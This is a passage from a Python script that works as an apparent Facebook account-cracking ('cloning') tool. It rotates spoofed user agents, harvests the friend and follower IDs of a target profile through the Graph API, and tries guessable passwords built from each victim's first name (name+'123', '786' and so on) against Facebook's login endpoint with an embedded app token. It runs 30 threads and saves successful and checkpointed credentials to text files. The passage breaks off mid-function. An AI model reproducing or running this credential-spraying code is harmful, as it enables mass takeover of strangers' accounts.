Nexus 3 Build/HUAWEI_X3) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Mozilla/5.0 (Linux; U; Android 2.3.8; sv-se; Huawei X3 Build/HuaweiSocialPhone) AppleWebKit/534.15 (KHTML, like Gecko) CrMo/32.0.1005.22 Mobile Safari/534.15", "Mozilla/5.0 (Linux; Android 8.1.0; LG-H932BK Build/OPM6.171019.030.K1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/69.0.3497.100 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/193.0.0.45.101;]", "nokia-7.1-safari", "NOKIA6120cUCBrowser/8.7.1.234/28/444/UCWEB", "Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-I8730T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 [FB_IAB/FB4A;FBAV/61.0.0.15.69;]", "Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8730T Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 [FB_IAB/FB4A;FBAV/79.0.0.18.71;]", "Mozilla/5.0 (Linux; Android 4.1.2; GT-I8730T Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36 OPR/50.6.2426.201126", "Mozilla/5.0 (Linux; Android 4.4.2; GT-193011 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 Mobile UCBrowser/3.4.3.532", "Mozilla/5.0 (Linux; U; Android 4.0.4; de-de; SonyEricssonMT11i Build/Xperia Ultimate HD™ 3.0.2) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", "Mozilla/5.0 (Android; Mobile; rv:30.0) Gecko/30.0 Firefox/30.0", "Mozilla/5.0 (Android; Tablet; rv:30.0) Gecko/30.0 Firefox/30.0", "Mozilla/5.0 (Windows NT 6.2; rv:10.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:10.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:10.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (Macintosh; PPC Mac OS X 10.6; rv:10.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:10.0) Gecko/20100101 Firefox/33.0", "Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0) Gecko/20100101 Firefox/10.0 Fennec/10.0", "Mozilla/5.0 (Mobile; rv:26.0) Gecko/26.0 Firefox/26.0", "Mozilla/5.0 (Tablet; rv:26.0) Gecko/26.0 Firefox/26.0", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 RuxitSynthetic/1.0 v9646582432 t38550 ath9b965f92 altpub cvcv=2", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36", "Mozilla/5.0 (Linux; ; ) AppleWebKit/ (KHTML, like Gecko) Chrome/ Mobile Safari/", "Mozilla/5.0 (Linux; Android 4.4; Nexus 5 Build/_BuildID_) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 5.1.1; Nexus 5 Build/LMY48B; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.65 Mobile Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0", "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15254", "Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; RM-1127_16056) AppleWebKit/537.36(KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.10536", "Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Mobile Safari/537.36 Edge/13.1058", "Mozilla/5.0 (Linux; Android 7.0; Pixel C Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Safari/537.36", "Mozilla/5.0 (Linux; Android 6.0.1; SGP771 Build/32.2.A.0.253; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Safari/537.36", "Mozilla/5.0 (Linux; Android 6.0.1; SHIELD Tablet K1 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/55.0.2883.91 Safari/537.36", "Mozilla/5.0 (Linux; Android 7.0; SM-T827R4 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.116 Safari/537.36", "Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T550 Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.3 Chrome/38.0.2125.102 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246", "Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9", "Dalvik/2.1.0 (Linux; U; Android 6.0.1; Nexus Player Build/MMB29T)", "Dalvik/2.1.0 (Linux; U; Android 7.1.2; AFTMM Build/NS6264) CTV", "Dalvik/2.1.0 (Linux; U; Android 9; SM-N950U Build/PPR1.180610.011)", "Dalvik/1.6.0 (Linux; U; Android 4.4.4; WT19M-FI Build/KTU84Q)", "Dalvik/2.1.0 (Linux; U; Android 9; SM-N960U Build/PPR1.180610.011)", "Dalvik/2.1.0 (Linux; U; Android 9; SM-G955U Build/PPR1.180610.011)", "Dalvik/2.1.0 (Linux; U; Android 10; SM-G965U Build/QP1A.190711.020)", "Dalvik/2.1.0 (Linux; U; Android 10; SM-G965U Build/QP1A.190711.020)", "Dalvik/2.1.0 (Linux; U; Android 10; SM-N960U Build/QP1A.190711.020)", "Dalvik/2.1.0 (Linux; U; Android 10; SM-G975U Build/QP1A.190711.020)", "Dalvik/2.1.0 (Linux; U; Android 7.1.2; AFTBAMR311 Build/NS6264) CTV", "Dalvik/2.1.0 (Linux; U; Android 9; SM-A102U Build/PPR1.180610.011)", "Dalvik/2.1.0 (Linux; U; Android 8.0.0; SM-G935V Build/R16NW)", "Mozilla/5.0 (Linux; U; Android 4.4.4; sk-sk; SAMSUNG SM-G357FZ/G357FZXXU1AQJ1 Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", "Mozilla/5.0 (Linux; U; Android 4.4.2; pl-pl; SM-T310 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30", "Mozilla/5.0 (Linux; U; Android 4.2.2;pl-pl; Lenovo S5000-F/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2.2 Mobile Safari/534.30", "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30", "WeRead/5.2.2 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; LYA-AL10 Build/HUAWEILYA-AL10)", "WeRead/5.3.4 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; LYA-AL10 Build/HUAWEILYA-AL10)", "WeRead/5.2.4 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; LYA-AL10 Build/HUAWEILYA-AL10)", "WeRead/5.1.1 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; ELE-L29 Build/HUAWEIELE-L29)", "WeRead/5.1.1 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; VOG-L29 Build/HUAWEIVOG-L29)", "WeRead/5.2.1 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; ELE-L29 Build/HUAWEIELE-L29)", "WeRead/5.2.1 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; CDY-NX9A Build/HUAWEICDY-N29)", "WeRead/5.1.2 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 7.0; BTV-W09 Build/HUAWEIBEETHOVEN-W09)", "WeRead/5.1.2 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; LYA-AL10 Build/HUAWEILYA-AL10)", "WeRead/5.1.1 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; LYA-AL10 Build/HUAWEILYA-AL10)", "WeRead/5.1.0 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; ELE-L29 Build/HUAWEIELE-L29)", "WeRead/5.0.3 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; ELE-L29 Build/HUAWEIELE-L29)", "WeRead/5.0.5 WRBrand/huawei Dalvik/2.1.0 (Linux; U; Android 10; LYA-AL10 Build/HUAWEILYA-AL10)", "WeRead/4.2.3 WRBrand/HUAWEI Dalvik/2.1.0 (Linux; U; Android 6.0.1; HUAWEI RIO-AL00 Build/HuaweiRIO-AL00)", "WeRead/4.1.5 WRBrand/Huawei Dalvik/2.1.0 (Linux; U; Android 7.0; EVA-L09 Build/HUAWEIEVA-L09)", "WeRead/3.5.0 WRBrand/HUAWEI Dalvik/2.1.0 (Linux; U; Android 6.0; DIG-AL00 Build/HUAWEIDIG-AL00)", "WeRead/4.1.1 WRBrand/Huawei Dalvik/2.1.0 (Linux; U; Android 7.0; EVA-L09 Build/HUAWEIEVA-L09)", "WeRead/4.1.1 WRBrand/HUAWEI Dalvik/2.1.0 (Linux; U; Android 6.0.1; HUAWEI RIO-AL00 Build/HuaweiRIO-AL00)", "Dalvik/2.1.0 (Linux; U; Android 5.1)", "Dalvik/1.6.0 (Linux; U; Android 4.0.4; GT-P7510 Build/IMM76D)" "Dalvik/2.1.0 (Linux; U; Android 5.1; AFTM Build/LMY47O)", "Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J700F Build/MMB29K) [FBAN/Orca-Android;FBAV/181.0.0.12.78;FBPN/com.facebook.orca;FBLC/tr_TR;FBBV/122216364;FBCR/Turk Telekom;FBMF/samsung;FBBD/samsung;FBDV/SM-J700F;FBSV/6.0.1;FBCA/armeabi-v7a:armeabi;FBDM{density=3.0,width=720,height=1440}", "Dalvik/1.6.0 (Linux; U; Android 4.4.2; ASUS_T00Q Build/KVT49L)UNTRUSTED/1.0C-1.1; Opera Mini/att/4.2", "Dalvik/1.4.0 (Linux; U; Android 2.3.6; HUAWEI Y210-0100 Build/HuaweiY210-0100)", "Dalvik/1.4.0 (Linux; U; Android 2.3.6; GT-S5570 Build/GINGERBREAD)", "Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Galaxy Nexus Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.3", "Dalvik/1.6.0 (Linux; U; Android 4.2.2; Galaxy Nexus Build/JDQ39)", "Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60", "Dalvik/2.1.0 (Linux; U; Android 5.1; PRO 5 Build/LMY47D)", "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322)", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36", "Mozilla/5.0 (Windows IoT 10.0; Android 6.0.1; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Mobile Safari/537.36 Edge/17.17134", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" "Mozilla/5.0 (Linux; Android 9; TA-1021 Build/PKQ1.181105.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/84.0.4147.111 Mobile Safari/537.36 Instagram 153.0.0.34.96 Android (28/9; 480dpi; 1080x1920; HMD Global/Nokia; TA-1021; PLE; qcom; ru_RU; 236572377" "Mozilla/5.0 (Linux; Android 5.1; VIVO Build/LMY47I; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36" "Mozilla/5.0 (Linux; Android 11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36" "Mozilla/5.0 (Linux; Android 9; Nokia 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Mobile Safari/537.36" ] bd = random.randint(20000000.0, 30000000.0) sim = random.randint(20000, 40000) birth = ['001', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21'] bd = random.randint(2e7, 3e7) sim = random.randint(2e4, 4e4) header = {'x-fb-connection-bandwidth': repr(bd), 'x-fb-sim-hni': repr(sim), 'x-fb-net-hni': repr(sim),'x-fb-connection-quality': 'EXCELLENT', 'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.3','x-fb-connection-type': 'unknown','content-type': 'application/x-www-form-urlencoded', 'x-fb-http-engine': 'Liger'} logo =""" \033[1;95m████████╗ ██████╗ ██████╗ \033[0;97m╚══██╔══╝██╔═══██╗██╔══██╗ \033[0;96m ██║ ██║ ██║██████╔╝ \033[1;93m ██║ ██║ ██║██╔══██╗ \033[1;91m ██║ ╚██████╔╝██║ ██║ \033[1;93m ╚═╝ ╚═════╝ ╚═╝ ╚═╝ \033[1;92m❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽ \033[1;92m{~} \033[0;96mAutor > \x1b[1;91mAngga \033[1;92m{~} \033[0;96mFacebook > \x1b[1;91mFb.me/PEMUDA.KALEUM \033[1;92m{~} \033[0;96mGithub > \x1b[1;91mhttps://github.com/Bajingan-Z \033[1;92m❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽""" def main(): os.system("clear") print(logo) print("") print(" \x1b[1;92m \tMain menu") print("") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print(" \x1b[1;92m [1] START CLONING\n") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print("") os.system('xdg-open https://youtu.be/bszAm4C5ovE ') log_sel() def log_sel(): sel = raw_input(" Choose an option❥━──➸: ") if sel =="1": login() elif sel =="2": ran() else: print("") print("\tSelect valid option") print("") log_select() def login(): try: token = open("access_token.txt", "r").read() menu() except(KeyError , IOError): os.system("clear") print(logo) print("") print(" \x1b[1;91m \tFacebook login") print("") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print(" \x1b[1;91m [1] FACEBOOK ID/PASS LOGIN\n") print(" \x1b[1;92m [2] FACEBOOK TOKEN LOGIN\n") print(" \x1b[1;95m [3] Back ") os.system('echo -e "-❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print("") log_select() def log_select(): sel = raw_input(" Choose an option: ") if sel =="1": log_fb() elif sel =="2": token() elif sel =="3": ran() else: print("") print("\tSelect valid option") print("") log_select() def log_fb(): os.system("clear") try: token = open("access_token.txt", "r").read() menu() except (KeyError , IOError): print(logo) print("") print("\tFacebook id/pass login") print("") uid = raw_input(" Uid: ") passw = raw_input(" Password: ") data = requests.get("https://b-api.facebook.com/method/auth.login?format=json&email="+uid+"&password="+passw+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&user-agent=Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J700F Build/MMB29K) [FBAN/Orca-Android;FBAV/181.0.0.12.78;FBPN/com.facebook.orca;FBLC/tr_TR;FBBV/122216364;FBCR/Turk Telekom;FBMF/samsung;FBBD/samsung;FBDV/SM-J700F;FBSV/6.0.1;FBCA/armeabi-v7a:armeabi;FBDM{density=3.0,width=900,height=1600}&cpl=true", headers=header).text q = json.loads(data) if "access_token" in q: sav = open("access_token.txt", "w") sav.write(q["access_token"]) sav.close() menu() elif "www.facebook.com" in q["error"]: print("") print("\tAccount has checkpoint") print("") time.sleep(1) login() else: print("") print("\tId/pass my be wrong") print("") time.sleep(1) def token(): os.system("clear") try: token = open("access_token.txt", "r").read() menu() except(KeyError , IOError): print(logo) print("") print("\tLogin token") print("") os.system('echo -e "-❥━──➸➽❥❂❥━──➸➽"| lolcat') token = raw_input (" Paste token❥: ") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽"| lolcat') sav = open("access_token.txt", "w") sav.write(token) sav.close() login() def menu(): os.system("clear") try: token = open("access_token.txt", "r").read() except(KeyError , IOError): login() try: r = requests.get("https://graph.facebook.com/me?access_token="+token) q = json.loads(r.text) name = q["name"] except(KeyError): print(logo) print("") print("\tLogged in token has expired") os.system("rm -rf access_token.txt") print("") time.sleep(1) login() os.system("clear") print(logo) print("") print(" Welcome: "+name) print("") print(" Free mode :Actvited") print("") print("") os.system('echo -e "-❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥"| lolcat') print(" \x1b[1;92m[1] CRACK AUTO PASS\n") print(" \x1b[1;91m[2] CRACK CHOICE PASS\n") print(' \x1b[1;90m[3] BACK') os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥"| lolcat') print("") menu_option() def menu_option(): select = raw_input(" Choose option: ") if select =="1": crack() elif select =="2": choice() else: print("") print("\tSelect valid option") print("") menu_option() def crack(): global token os.system("clear") try: token = open("access_token.txt","r").read() except IOError: print("") print("\tToken not found ") time.sleep(1) login_choice() os.system("clear") print(logo) print("") print("\t \033[1;32mAUTO PASS CLONING\033[0;97m") print("") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥"| lolcat') print("\x1b[1;92m [1] CRACK PUBLIC ID") print("\x1b[1;92m [2] CRACK FOLLOWERS") print(" \x1b[1;92m [0] BACK") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥"| lolcat') print("") crack_select() def crack_select(): select = raw_input(" Choose option: ") id=[] oks=[] cps=[] if select =="1": os.system("clear") print(logo) print("") print("\tAUTO PASS CRAKING") print("") idt = raw_input(" Input id: ") try: r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token) q = json.loads(r.text) os.system('clear') print(logo) print('') print("\tAUTO PASS CRAKING") print('') print(" Cloning from : "+q["name"]) except KeyError: print("\tInvalid link OR token") print("") raw_input(" Press enter to back") crack() r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+token) z = json.loads(r.text) for i in z["data"]: uid = i["id"] na = i["name"] nm = na.rsplit(" ")[0] id.append(uid+"|"+nm) elif select =="2": os.system("clear") print(logo) print("") print("\tAUTO PASS CRACKING") print("") idt = raw_input(" Input id: ") try: r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token) q = json.loads(r.text) os.system('clear') print(logo) print('') print('\tAUTO PASS CRAKING') print('') print(" Cloning from: "+q["name"]) except KeyError: print("\tInvalid id link OR token") print("") raw_input(" Press enter to back") crack() r = requests.get("https://graph.facebook.com/"+idt+"/subscribers?access_token="+token+"&limit=999999") z = json.loads(r.text) for i in z["data"]: uid = i["id"] na = i["name"] nm = na.rsplit(" ")[0] id.append(uid+"|"+nm) elif select =="0": menu() else: print("") print("\t \033[1;31mSelect valid option\033[0;97m") print("") crack_select() os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print(" \x1b[1;92m Total IDs : "+str(len(id))) print(" \x1b[1;91m The Process has started") print(" \x1b[1;91m Press ctrl + z to stop") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print("") print("") def main(arg): user=arg uid,name=user.split("|") ranagent = random.choice(agents) biran = random.choice(birth) session = requests.Session() session.headers.update({'User-Agent': ranagent}) try: pass1 = name.lower()+"123" data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+uid+"&password="+pass1+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=header).text q = json.loads(data) if "access_token" in q: print(" \033[1;32m [HARI OK] "+uid+" | "+pass1+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(uid+"|"+pass1+"\n") ok.close() oks.append(uid+pass1) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [Nazir CP] "+uid+" | "+pass1+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(uid+"|"+pass1+"\n") cp.close() cps.append(uid+pass1) else: pass2 = name.lower()+"1234" data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+uid+"&password="+pass2+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=header).text q = json.loads(data) if "access_token" in q: print(" \033[1;32m [TOOr OK] "+uid+" | "+pass2+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(uid+"|"+pass2+"\n") ok.close() oks.append(uid+pass2) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [Nazir CP] "+uid+" | "+pass2+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(uid+"|"+pass2+"\n") cp.close() cps.append(uid+pass2) else: pass3 = name.lower()+"12345" data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+uid+"&password="+pass3+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=header).text q = json.loads(data) if "access_token" in q: print(" \033[1;32m [TOOr OK] "+uid+" | "+pass3+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(uid+"|"+pass3+"\n") ok.close() oks.append(uid+pass3) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [NazirvCP] "+uid+" | "+pass3+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(uid+"|"+pass3+"\n") cp.close() cps.append(uid+pass3) else: pass4 = name.lower()+"786" data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+uid+"&password="+pass4+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=header).text q = json.loads(data) if "access_token" in q: print(" \033[1;32m [TOOr OK] "+uid+" | "+pass4+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(uid+"|"+pass4+"\n") ok.close() oks.append(uid+pass4) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [Nazir CP] "+uid+" | "+pass4+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(uid+"|"+pass4+"\n") cp.close() cps.append(uid+pass4) else: pass5 = name.lower()+'1122' data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+uid+"&password="+pass5+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=header).text q = json.loads(data) if "access_token" in q: print(" \033[1;32m [TOOr OK] "+uid+" | "+pass5+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(uid+"|"+pass5+"\n") ok.close() oks.append(uid+pass5) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [Nazir CP] "+uid+" | "+pass5+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(uid+"|"+pass5+"\n") cp.close() cps.append(uid+pass5) except: pass p = ThreadPool(30) p.map(main, id) print("") print("") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print(" \x1b[1;91mThe process has been completed") print(" \x1b[1;92m Total Ok/Cp: "+str(len(oks))+"/"+str(len(cps))) os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print("") print(" Har Cloning k bad Termux ko exit kr k open krein") raw_input(" Press enter to back ") menu() def choice(): global token os.system("clear") try: token = open("access_token.txt","r").read() except IOError: print("") print("\tToken not found") time.sleep(1) login_choice() os.system("clear") print(logo) print("") print("\t \033[1;32mCHOICE PASS CRACK MENU\033[0;97m") print("") os.system('echo -e "-❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥"| lolcat') print("\x1b[1;92m [1] CRACK PUBLIC ID") print("\x1b[1;92m [2] CRACK FOLLOWERS") print(" \x1b[1;92m [0] BACK") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥"| lolcat') print("") choice_select() def choice_select(): select = raw_input("Choose option: ") id=[] oks=[] cps=[] if select =="1": os.system("clear") print(logo) print("") print("\CHOICE PASS CRACK CRACKING") print("") pass1 = raw_input(" Password: ") pass2 = raw_input(" Password: ") pass3 = raw_input(" Password: ") idt = raw_input(" Input id: ") try: r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token) q = json.loads(r.text) os.system('clear') print(logo) print('') print('\Choice pass cracking') print("") print(" Cloning from : "+q["name"]) except KeyError: print("\tInvalid id link") print("") raw_input(" Press enter to back") choice() r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+token) z = json.loads(r.text) for i in z["data"]: uid = i["id"] na = i["name"] nm = na.rsplit(" ")[0] id.append(uid+"|"+nm) elif select =="2": os.system("clear") print(logo) print("") print("\CHOICE PASS CRACK CRACKING") print("") pass1 = raw_input(" Password: ") pass2 